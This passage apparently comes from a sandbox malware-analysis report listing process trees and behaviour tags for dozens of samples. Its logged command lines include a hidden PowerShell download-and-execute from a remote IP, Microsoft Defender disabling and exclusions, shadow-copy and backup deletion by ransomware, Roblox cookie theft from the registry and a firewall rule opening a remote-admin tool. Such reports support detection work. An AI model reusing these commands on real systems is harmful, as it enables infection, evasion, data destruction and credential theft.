- C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe
  "C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:4760
- - C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe
    "C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"
    3⤵
    - Executes dropped EXE
    PID:6192
- C:\Users\Admin\AppData\Local\Temp\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe
  "C:\Users\Admin\AppData\Local\Temp\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2788
- C:\Users\Admin\AppData\Local\Temp\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe
  "C:\Users\Admin\AppData\Local\Temp\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Checks processor information in registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2200
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\Program Files\Google\Chrome\Application'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:4672
- - C:\Program Files\Google\Chrome\Application\Chrome_boostrap.exe
    "C:\Program Files\Google\Chrome\Application\Chrome_boostrap.exe"
    3⤵
    - Executes dropped EXE
    PID:11304
- C:\Users\Admin\AppData\Local\Temp\60e76eda46185d1d2e9463d15e31d4c87eb03535d368cc3471c55992bc99ad5f.exe
  "C:\Users\Admin\AppData\Local\Temp\60e76eda46185d1d2e9463d15e31d4c87eb03535d368cc3471c55992bc99ad5f.exe"
  2⤵
  - Executes dropped EXE
  PID:4072
- C:\Users\Admin\AppData\Local\Temp\65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe
  "C:\Users\Admin\AppData\Local\Temp\65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe"
  2⤵
  - Executes dropped EXE
  - Writes to the Master Boot Record (MBR)
  - Suspicious use of WriteProcessMemory
  PID:188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe
    3⤵
    PID:12968
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      Kills process with taskkill
      PID:5964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v DisableTaskMgr /t reg_dword /d 1 /f
    3⤵
    PID:9956
  - - C:\Windows\system32\reg.exe
      REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v DisableTaskMgr /t reg_dword /d 1 /f
      4⤵
      Modifies registry key
      PID:11764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t reg_dword /d 1 /f
    3⤵
    PID:14264
  - - C:\Windows\system32\reg.exe
      REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t reg_dword /d 1 /f
      4⤵
      Modifies registry key
      PID:14216
- C:\Users\Admin\AppData\Local\Temp\77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
  "C:\Users\Admin\AppData\Local\Temp\77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  PID:2712
- C:\Users\Admin\AppData\Local\Temp\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
  "C:\Users\Admin\AppData\Local\Temp\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe"
  2⤵
  - Executes dropped EXE
  - Drops desktop.ini file(s)
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3628
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c C:\Windows\System32\wbem\WMIC.exe shadowcopy where "ID='{82E55687-1C53-4B63-B9D1-48A1D15313AD}'" delete
    3⤵
    PID:10080
  - - C:\Windows\System32\wbem\WMIC.exe
      C:\Windows\System32\wbem\WMIC.exe shadowcopy where "ID='{82E55687-1C53-4B63-B9D1-48A1D15313AD}'" delete
      4⤵
      PID:7084
- C:\Users\Admin\AppData\Local\Temp\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe
  "C:\Users\Admin\AppData\Local\Temp\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1356
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1356 -s 580
    3⤵
    - Program crash
    PID:11680
- C:\Users\Admin\AppData\Local\Temp\188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe
  "C:\Users\Admin\AppData\Local\Temp\188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1748
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn I0eXkmab3Sz /tr "mshta C:\Users\Admin\AppData\Local\Temp\klwRKRIzY.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3076
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn I0eXkmab3Sz /tr "mshta C:\Users\Admin\AppData\Local\Temp\klwRKRIzY.hta" /sc minute /mo 25 /ru "Admin" /f
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:9856
- - C:\Windows\SysWOW64\mshta.exe
    mshta C:\Users\Admin\AppData\Local\Temp\klwRKRIzY.hta
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3980
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'XHG9JUTRXONSYIVY0BZYIAYOLO4JY6GY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.156.72.2/testmine/random.exe',$d);Start-Process $d;
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1084
- C:\Users\Admin\AppData\Local\Temp\0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe
  "C:\Users\Admin\AppData\Local\Temp\0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1216
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1216 -s 652
    3⤵
    - Program crash
    PID:11716
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1216 -s 660
    3⤵
    - Program crash
    PID:776
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1216 -s 648
    3⤵
    - Program crash
    PID:8640
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1216 -s 648
    3⤵
    - Program crash
    PID:6580
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1216 -s 892
    3⤵
    - Program crash
    PID:516
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1216 -s 1032
    3⤵
    - Program crash
    PID:960
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1216 -s 804
    3⤵
    - Program crash
    PID:13096
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1216 -s 1248
    3⤵
    - Program crash
    PID:7656
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1216 -s 1256
    3⤵
    - Program crash
    PID:6344
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1216 -s 1452
    3⤵
    - Program crash
    PID:5904
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1216 -s 1272
    3⤵
    - Program crash
    PID:12536
- C:\Users\Admin\AppData\Local\Temp\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe
  "C:\Users\Admin\AppData\Local\Temp\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3944
- C:\Users\Admin\AppData\Local\Temp\577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe
  "C:\Users\Admin\AppData\Local\Temp\577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2568
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4260
  - - C:\Windows\SysWOW64\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Roaming\mGxdd.vbs"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5588
- C:\Users\Admin\AppData\Local\Temp\755b9e89416a664f52a0dfee6de54687f15ae900a7317763b0a4144996724f6a.exe
  "C:\Users\Admin\AppData\Local\Temp\755b9e89416a664f52a0dfee6de54687f15ae900a7317763b0a4144996724f6a.exe"
  2⤵
  - Executes dropped EXE
  PID:612
- C:\Users\Admin\AppData\Local\Temp\771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
  "C:\Users\Admin\AppData\Local\Temp\771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe"
  2⤵
  - Executes dropped EXE
  - Drops desktop.ini file(s)
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  PID:1400
- - C:\Windows\splwow64.exe
    C:\Windows\splwow64.exe 12288
    3⤵
    PID:5176
- - C:\ProgramData\6913.tmp
    "C:\ProgramData\6913.tmp"
    3⤵
    PID:6864
- C:\Users\Admin\AppData\Local\Temp\876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe
  "C:\Users\Admin\AppData\Local\Temp\876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3648
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:12948
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe"
    3⤵
    - Views/modifies file attributes
    PID:2408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Disables one or more Microsoft Defender components
    - Disables automatic submission of suspicious files to Microsoft by Windows Defender
    PID:3032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:10132
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    PID:11568
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    PID:12864
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:13616
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:13492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7244
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:4724
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:10680
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:13128
- C:\Users\Admin\AppData\Local\Temp\954d8fcd6b74d76999f9ec033ca855ffdab6595be23039f03bc4c6017fa3932c.exe
  "C:\Users\Admin\AppData\Local\Temp\954d8fcd6b74d76999f9ec033ca855ffdab6595be23039f03bc4c6017fa3932c.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5240
- - C:\Users\Admin\AppData\Roaming\svchost.exe
    "C:\Users\Admin\AppData\Roaming\svchost.exe"
    3⤵
    PID:12828
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
      4⤵
      PID:8272
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
      4⤵
      PID:7480
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
      4⤵
      PID:6696
  - - C:\Windows\system32\NOTEPAD.EXE
      "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\stop_propaganda.txt
      4⤵
      Opens file in notepad (likely ransom note)
      PID:6008
- C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe
  "C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  PID:6024
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:12212
- - C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe
    "C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:12184
- C:\Users\Admin\AppData\Local\Temp\4895f3e5549c1333698e23707fb39c0d24c33c31d1bc089b7970911fba3dc0f7.exe
  "C:\Users\Admin\AppData\Local\Temp\4895f3e5549c1333698e23707fb39c0d24c33c31d1bc089b7970911fba3dc0f7.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:5508
- C:\Users\Admin\AppData\Local\Temp\06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe
  "C:\Users\Admin\AppData\Local\Temp\06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Accesses Microsoft Outlook profiles
  - Adds Run key to start application
  - Modifies registry class
  - Suspicious behavior: SetClipboardViewer
  - Suspicious use of SetWindowsHookEx
  - outlook_office_path
  - outlook_win_path
  PID:1308
- - C:\Windows\svchost.com
    "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\HACKCR~1.EXE"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:10876
- C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe
  "C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:9552
- - C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe
    "C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:7528
- C:\Users\Admin\AppData\Local\Temp\145289accb8c684e583ca3d99532d64d0a6a40142062e648c65ffd8da070c4c9.exe
  "C:\Users\Admin\AppData\Local\Temp\145289accb8c684e583ca3d99532d64d0a6a40142062e648c65ffd8da070c4c9.exe"
  2⤵
  - Executes dropped EXE
  PID:10692
- C:\Users\Admin\AppData\Local\Temp\a0da672fdaf8943fc0453424197c5ae5539ed1cc86a47e955ea706a3e8365fe7.exe
  "C:\Users\Admin\AppData\Local\Temp\a0da672fdaf8943fc0453424197c5ae5539ed1cc86a47e955ea706a3e8365fe7.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:11424
- C:\Users\Admin\AppData\Local\Temp\a10fe565f9891cb66e24299122c236e1e641451564a930b60ae91a24e09e6d62.exe
  "C:\Users\Admin\AppData\Local\Temp\a10fe565f9891cb66e24299122c236e1e641451564a930b60ae91a24e09e6d62.exe"
  2⤵
  - Executes dropped EXE
  PID:11604
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 11604 -s 232
    3⤵
    - Program crash
    PID:10704
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 11604 -s 232
    3⤵
    - Program crash
    PID:9340
- C:\Users\Admin\AppData\Local\Temp\aa76b4db29cf929b4b22457ccb8cd77308191f091cde2f69e578ade9708d7949.exe
  "C:\Users\Admin\AppData\Local\Temp\aa76b4db29cf929b4b22457ccb8cd77308191f091cde2f69e578ade9708d7949.exe"
  2⤵
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:11924
- C:\Users\Admin\AppData\Local\Temp\ab0acdb0c45ccafcc0ec594d30dc8153936574dde9ebe4e0b22504770361c666.exe
  "C:\Users\Admin\AppData\Local\Temp\ab0acdb0c45ccafcc0ec594d30dc8153936574dde9ebe4e0b22504770361c666.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:12028
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn iKGIKmanLvR /tr "mshta C:\Users\Admin\AppData\Local\Temp\jat3YwYKF.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    PID:13756
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn iKGIKmanLvR /tr "mshta C:\Users\Admin\AppData\Local\Temp\jat3YwYKF.hta" /sc minute /mo 25 /ru "Admin" /f
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:8884
- - C:\Windows\SysWOW64\mshta.exe
    mshta C:\Users\Admin\AppData\Local\Temp\jat3YwYKF.hta
    3⤵
    - Checks computer location settings
    PID:13764
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'UZWIJV0JHXUAQV8EV2SJKOOEKJIECFYN.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.156.72.2/testmine/random.exe',$d);Start-Process $d;
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      PID:10456
- C:\Users\Admin\AppData\Local\Temp\aead1f538ae65044f17554b188d4d1f88d7c4840bb554f3d70a2fe3ab86f6abf.exe
  "C:\Users\Admin\AppData\Local\Temp\aead1f538ae65044f17554b188d4d1f88d7c4840bb554f3d70a2fe3ab86f6abf.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:5288
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    - Modifies system executable filetype association
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies registry class
    PID:13740
- C:\Users\Admin\AppData\Local\Temp\b066d97c63093902c0debe32ed5a001cc150eae3fb841d87a58408762d32466e.exe
  "C:\Users\Admin\AppData\Local\Temp\b066d97c63093902c0debe32ed5a001cc150eae3fb841d87a58408762d32466e.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:9764
- - C:\Program Files\Java\jre-1.8\bin\javaw.exe
    "C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Local\Temp\b066d97c63093902c0debe32ed5a001cc150eae3fb841d87a58408762d32466e.exe"
    3⤵
    PID:5672
- C:\Users\Admin\AppData\Local\Temp\b975f3981291f86d4a8f023b2cd5473abf6b8f4f33bb6f6cbb19bab0fa01d2ad.exe
  "C:\Users\Admin\AppData\Local\Temp\b975f3981291f86d4a8f023b2cd5473abf6b8f4f33bb6f6cbb19bab0fa01d2ad.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:11316
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6744
- C:\Users\Admin\AppData\Local\Temp\c81ece0b60ed50db7d3769388f34ba051a05c95bd026e78dabb6ce08ff91bbba.exe
  "C:\Users\Admin\AppData\Local\Temp\c81ece0b60ed50db7d3769388f34ba051a05c95bd026e78dabb6ce08ff91bbba.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  PID:11500
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    PID:5944
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath 'C:'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:9100
- - C:\Windows\system32\svchost.exe
    "C:\Windows\system32\svchost.exe"
    3⤵
    - Adds Run key to start application
    PID:1856
- C:\Users\Admin\AppData\Local\Temp\c348c7e4d9028bdf84aba828bbb81ce46ae55c0246a94351edbfb9c63e41a8ee.exe
  "C:\Users\Admin\AppData\Local\Temp\c348c7e4d9028bdf84aba828bbb81ce46ae55c0246a94351edbfb9c63e41a8ee.exe"
  2⤵
  - Executes dropped EXE
  - Drops desktop.ini file(s)
  - Drops file in Windows directory
  PID:3252
- - C:\Windows\svchost.com
    "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Roaming\Widget\WIDGET~1.EXE"
    3⤵
    PID:4128
- C:\Users\Admin\AppData\Local\Temp\c558e126c64a89887115a45276d5a8751f90c399eb32ca103f6e50901abc7abd.exe
  "C:\Users\Admin\AppData\Local\Temp\c558e126c64a89887115a45276d5a8751f90c399eb32ca103f6e50901abc7abd.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  PID:13776
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    - Modifies Windows Defender Real-time Protection settings
    - Modifies Windows Defender TamperProtection settings
    - Windows security modification
    - System Location Discovery: System Language Discovery
    PID:9992
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell" Get-MpPreference -verbose
      4⤵
      PID:6152
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
      4⤵
      PID:10760
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
      4⤵
      PID:8364
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
      4⤵
      PID:11708
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
      4⤵
      PID:8924
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
      4⤵
      PID:5852
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
      4⤵
      PID:12412
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 9992 -s 1956
      4⤵
      Program crash
      PID:6588
- C:\Users\Admin\AppData\Local\Temp\cf75a4bb6793649841a5c9c4a7dcd93e3bea2924333d13bb855b8996b2cb8955.exe
  "C:\Users\Admin\AppData\Local\Temp\cf75a4bb6793649841a5c9c4a7dcd93e3bea2924333d13bb855b8996b2cb8955.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Checks computer location settings
  - Executes dropped EXE
  - Drops file in Windows directory
  - Modifies registry class
  PID:7292
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" netsh advfirewall firewall add rule name="#/x!Nu|2NxbWN@" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe" enable=yes & exit
    3⤵
    PID:6716
- - C:\Windows\SYSTEM32\cmd.exe
